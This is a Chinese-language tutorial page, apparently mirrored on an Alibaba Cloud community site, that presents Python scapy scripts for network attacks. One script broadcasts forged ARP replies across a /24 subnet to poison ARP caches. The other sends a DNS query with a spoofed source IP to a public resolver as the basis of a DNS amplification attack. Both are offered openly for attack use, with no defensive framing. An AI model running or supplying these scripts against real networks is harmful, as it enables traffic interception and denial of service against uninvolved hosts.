Python中使用scapy類比資料包實現arp攻擊、dns放大攻擊例子_python

來源:互聯網
上載者:User

scapy是python寫的一個功能強大的互動式資料包處理常式,可用來發送、嗅探、解析和偽造網路資料包,常常被用到網路攻擊和測試中。

這裡就直接用python的scapy搞。

這裡是arp的攻擊方式,你可以做成arp攻擊。

複製代碼 代碼如下:

#!/usr/bin/python
"""
ARP attack
"""
import sys, os
from scapy.all import *
if os.geteuid() != 0:
    print "This program must be run as root. Aborting."
    sys.exit()

if len(sys.argv) < 2:
    print "Pkease Use %s x.x.x" % (sys.argv[0])
    exit()
attackIP = sys.argv[1] + ".0/24"
srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

dns放大攻擊

複製代碼 代碼如下:

#coding:utf-8
from scapy import *
from scapy.all import *

a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 為偽造的源ip
b = UDP(dport=53)
c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)
p = a/b/c
send(p)
~

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.